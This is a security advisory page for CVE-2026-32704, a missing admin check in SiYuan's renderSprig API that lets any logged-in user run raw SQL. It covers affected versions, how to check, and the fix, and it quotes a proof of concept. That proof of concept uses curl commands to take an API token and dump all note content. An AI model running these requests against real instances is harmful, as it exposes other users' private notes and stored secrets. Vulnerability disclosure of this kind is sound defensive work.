---
id: "CVE-2026-32704"
page: "https://infrastack.ai/live/CVE-2026-32704"
kind: "vulnerability"
aliases: ["CVE-2026-32704", "GHSA-4j3x-hhg2-fm2x"]
title: "SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB"
severity: "medium"
cvss: 6.5
epss: 0.00261
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/siyuan-note/siyuan/kernel", "fixed": ["3.6.1"], "affected": "<= 3.6.0", "ecosystem": "go"}, {"name": "b3log siyuan", "fixed": ["3.6.1"], "affected": "< 3.6.1", "ecosystem": "vendor"}]
ecosystems: ["go", "vendor"]
tags: ["api-token", "cwe-285", "cwe-732", "go", "package", "self-hosted", "siyuan"]
not_affected_if: ["no-untrusted-accounts", "single-user-instance", "version-3.6.1-or-later"]
published_at: "2026-03-13T20:56:47+00:00"
first_seen_at: "2026-11-05T21:24:09+00:00"
updated_at: "2026-11-05T21:40:46+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-4j3x-hhg2-fm2x", "first_seen_at": "2026-11-05T21:24:09+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32704", "first_seen_at": "2026-11-05T21:40:46+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00261, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32704"}]
---

# SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB

Link for people: https://infrastack.ai/live/CVE-2026-32704 (this .md is for agents)

SiYuan's renderSprig API endpoint is missing its admin role check, so any authenticated user, including read-only Publish Service accounts, can run raw SELECT queries. An attacker can dump all note content, metadata, tags and custom attributes from the workspace database.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/siyuan-note/siyuan/kernel affected <= 3.6.0 fixed 3.6.1
- vendor:b3log siyuan affected < 3.6.1 fixed 3.6.1

## How to check

- Check the SiYuan kernel version with `siyuan --version` or the app's About page; affected versions are `3.6.0` and below.
- Look in kernel/api/router.go for a `POST /api/template/renderSprig` route that lacks `model.CheckAdminRole`.
- Review which accounts have Publish Service Reader or API token access on the instance.

## Fix

- SiYuan kernel (go:github.com/siyuan-note/siyuan/kernel): move to `3.6.1` or later.

## Timeline

- 2026-11-05T21:24:09+00:00 ghsa https://github.com/advisories/GHSA-4j3x-hhg2-fm2x
- 2026-11-05T21:40:46+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-32704

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/siyuan-note/siyuan/security-advisories/GHSA-4j3x-hhg2-fm2x
- [advisory] Maintainer's advisory: github.com https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x
- [fix] Patch: github.com https://github.com/siyuan-note/siyuan/commit/5859cc222f2016874f778dd8f4ebafaab1cf7e0

## From the sources

### Summary
`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

### Details
**File:** `kernel/api/router.go`

Every sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:

```go
//  Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
    model.CheckAuth, renderSprig)

//  Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
    model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
```

`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:

```go
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
    ret, _ = Query(stmt, 1024)  // executes raw SELECT, no role check
    return
}
```

Any authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.

### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```

**Exploit:**
```bash
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
  -H "Content-Type: application/json" \
  -d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15  # wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
  -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")

# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
```

**Confirmed response on v3.6.0:**
```json
{"code":0,"msg":"","data":"[{\"n\":0}]"}
```

**Full note dump:**
```bash
curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
```

### Impact
Any authenticated user (API token holder, Publish Service Reader) can:
- Dump **all note content** and document hierarchy from the workspace
- Exfiltrate tags, custom attributes, block IDs, and timestamps
- Search notes for stored passwords, API keys, or personal data
- Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_